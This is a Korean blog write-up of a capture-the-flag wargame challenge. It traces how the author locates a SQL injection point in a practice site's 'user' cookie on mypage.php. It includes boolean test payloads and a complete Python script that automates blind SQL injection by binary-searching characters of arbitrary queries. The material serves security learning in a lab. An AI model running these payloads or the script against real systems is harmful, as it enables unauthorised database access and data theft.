-
SQL Injection Advanced - SQL Injection Point 1wargame/segfault 2024. 6. 17. 10:49
목표
사이트 내에 SQL Injection이 가능한 곳이 있다. 그곳을 찾아내서 SQL injection으로 flag를 찾아내라
웹사이트 분석 - 회원가입, 로그인
/sqli_6/ /sqli_6/ /sqli_6/
에 get으로 처음 접근하면 200 상태코드를 반환하며, PHPSESSID를 쿠키로 세팅하도록 한다. 그 다음부터 이 url에서 PHPSESSID를 쿠키로 요청에 담아 보낸다.로그인 버튼을 누르면
/sqli_6/login.php
페이지로 이동한다.
/sqli_6/login.php /sqli_6/login.php의 form 태그 form 구성 :
Log In
버튼을 누르면 자기자신인login.php
로 post 요청을 보내며,id는 name, password는 pw
에 담겨져 제출된다.Sign up
버튼을 누르면 자바스크립트로 페이지가signup.html
로 이동된다.아직 아이디가 없기 때문에
Sign up
버튼을 눌러 회원가입부터 진행해본다.
/sqli_6/signup.html /sqli_6/signup.html의 form 태그 form은
Sign Up
버튼을 누르면signup.php
로 post요청을 보낸다. 이때 보내지는 데이터는 signupid와 signuppw이다.signupid: shadow, signuppw: 1234
로 데이터를 제출해 회원가입을 진행해보겠다.
/sqli_6/signup.html /sqli_6/signup.php /sqli_6/signup.php response에 담긴 script로 인해 회원가입에 성공했다는 창이 뜨면서, 위치가
index.php
로 이동하게 된다. 이제 로그인 버튼을 눌러 로그인을 진행해보겠다.
/sqli_6/login.php /sqli_6/signup.php 자기자신인
login.php
에 post로 아이디와 비밀번호를 전송하고, 서버에서 인증에 성공했기에 response에 302코드가 반환되며 로그인 성공 정보를 담고 있는 PHPSESSID를 새로 업데이트한다. 그리고 사이트 내 다른 페이지에서 사용할 수 있고 xss를 방지하기 위해path=/; HttpOnly
로 설정하였다.또한 user에 내가 로그인 한
user=shadow
도 담아서 보낸다. 쿠키에 아이디를 직접 담아서 보내기에 이 부분의 취약점을 추후에 잘 살펴봐야한다.마지막으로 location 헤더 때문에
index.php
로 이동한다.
로그인 후 /sqli_6/index.php 로그인 후 /sqli_6/index.php 로그인에 성공했다! 로그인 성공 시 Request의 Cookie에
user=shadow와 PHPSESSID
를 담아서 보낸다. 그리고 Response에서 나의 아이디인shadow
가 출력되고 있다. 이 부분도 주의깊게 봐야한다. 그리고마이페이지, 게시판, Logout
버튼을 누르면 각각 onclick 속성에 의해 특정 url로 이동하게 된다.
쿠키 변조 시도
/sqli_6/index.php
에서 쿠키를 변조하였을때 Response에 담겨진 값이 변경되는지 확인한다. 만약 가입하지 않은 아무 아이디로 쿠키값을 변조했을 때 출력이 되지 않는다면 해당 페이지에서 쿠키값을 이용한 sql문이 처리되고 있음을 알 수 있다. 그렇지 않고 그냥 변조한 쿠키값 그대로 출력이 된다면 xss 취약점이 있을 수 있다. 아무 이상이 없이 그대로 내 아이디shadow
로 출력이 된다면 취약점이 존재하지 않는다.Repeater로 쿠키 변조 Repeater로 get method
/sqli_6/index.php
를 보내서 쿠키의user=shadow
를user=nothing
으로 변조해서 보냈더니. 그대로shadow
라고 출력되었다. 따라서 이곳에는 sqli point와 xss 취약점이 존재하지 않는다. (이 문제는 Sqli Point를 찾는 것이 목표이므로, 실무에서는 동시에 진행해야하나 더 이상 XSS 취약점을 따로 다루지 않도록 하겠다.)
웹사이트 분석 - 마이페이지
/sqli_6/mypage.php /sqli_6/mypage.php index.php
에서마이페이지
버튼을 눌러mypage.php
로 이동했다. 쿠키에user=shadow와 PHPSESSID
가 담겨지고, Response에shadow
가 출력된다. 여기도 마찬가지로 쿠키변조로 인한 sqli 취약점이 존재할 수도 있다.쿠키 변조 시도
Burp Suite의 Repeater를 통해 Cookie에 담긴
user
값을 변경해서 보내본다./sql_6/mypage.php user=noting
을 담아서 보내니placeholder="noting"
으로 담겨져서 오는 것을 볼 수 있다(XSS취약점 존재). 그리고 원래Nothing Here...
이라고 담겨져 있던info
태그의placeholder
가 비어있는 것을 볼 수 있다. 여기서 쿠키값을 인자로 사용한 sql 질의가 사용되었을 수도 있음을 추측할 수 있다.정리
아이디를 정상적으로 찾았을 때:placeholder="Noting Here..."
아이디를 정상적으로 찾지 못했을 때:placeholder=""
// 예상 SQL문 $sql = "SELECT * FROM member WHERE id ='___'";
그리고 쿠키값이 저 사이에 들어갈 수 있기 때문에 SQL Injection이 가능한지 저 질의문이 맞다는 전제 하에
shadow' and '1'='1
을 삽입한다.// 그러면 완성되는 SQL문은 다음과 같다. $sql = "SELECT * FROM member WHERE id ='shadow' and '1'='1'";
아이디 찾기 성공 결과는
Nothing Here...
이므로 정상적으로 아이디를 찾는 것에 성공했음을 알 수 있다. 거짓 조건을 넣어 로그인에 실패하는 것도 시도해본다.
shadow' and '1'='2
를 넣어 sql문이 항상 거짓이 되게 만든다.// 완성되는 SQL문은 다음과 같다. WHERE문이 항상 거짓이 되어 아무것도 찾을 수 없다 $sql = "SELECT * FROM member WHERE id ='shadow' and '1'='2'";
아이디 찾기 실패 placeholder
가 비어있다. 아이디를 찾는 것에 실패하게 만드는데 성공했음을 알 수 있다.따라서
mypage.php
에서 쿠키변조를 통한 sqli point가 있는 것을 확인하였다.sql질의문 결과가 화면에 출력되지 않고, 에러가 출력되지 않으므로 데이터를 추출하기 위해서는 Blind SQL Injection으로 가능하다.
Python으로 Blind SQLi 자동화
import requests # change following 5 lines as you need usingId = 'shadow' usingPhpsessid = 'k942mhsjc4994eml5oba510lvu' url = "http://ctf.segfaulthub.com:7777/sqli_6/mypage.php" falseText = "placeholder=\"\"/>" preparedFormat = "{}' and (ascii(substr(({}),{},1)) > {}) and '1'='1" # {}: id, select statement, char index, ascii int value print("프로그램 시작") while True: print('종료하시려면 \'quit\' 를 입력해주세요') sql_statement = input("select문 입력 > ") if (sql_statement == 'quit'): break extracted_data = '' inputFormat = preparedFormat.format(usingId,sql_statement,1,0) headers = {"Cookie": "user={}; PHPSESSID={}".format(inputFormat,usingPhpsessid)} response = requests.get(url, headers=headers) if falseText in response.text: print("데이터가 없습니다.") continue i = 1 # data index while True: bottom = 32 top = 128 inputFormat = preparedFormat.format(usingId,sql_statement,i,0) headers = {"Cookie": "user={}; PHPSESSID={}".format(inputFormat,usingPhpsessid)} response = requests.get(url, headers=headers) if falseText in response.text: break while True: j = int((top+bottom)/2) inputFormat = preparedFormat.format(usingId,sql_statement,i,j) headers = {"Cookie": "user={}; PHPSESSID={}".format(inputFormat,usingPhpsessid)} response = requests.get(url, headers=headers) if ((top-bottom)<=2): for k in range(0,3): inputFormat = preparedFormat.format(usingId,sql_statement,i,j+k) headers = {"Cookie": "user={}; PHPSESSID={}".format(inputFormat,usingPhpsessid)} response = requests.get(url, headers=headers) if falseText in response.text: extracted_data += chr(j+k) i += 1 break break if falseText in response.text: # 32 ~ 80 top = j else: bottom = j print(extracted_data)
Blind SQL Injection으로 flag를 찾아냈다!
'wargame > segfault' 카테고리의 다른 글
SQL Injection Advanced - SQL Injection Point 2 (0) 2024.06.17 SQL Injection - 6 (0) 2024.06.17 SQL Injection - 5 (0) 2024.06.17 SQL Injection - 4 (0) 2024.06.17 SQL Injection - 3 (0) 2024.06.17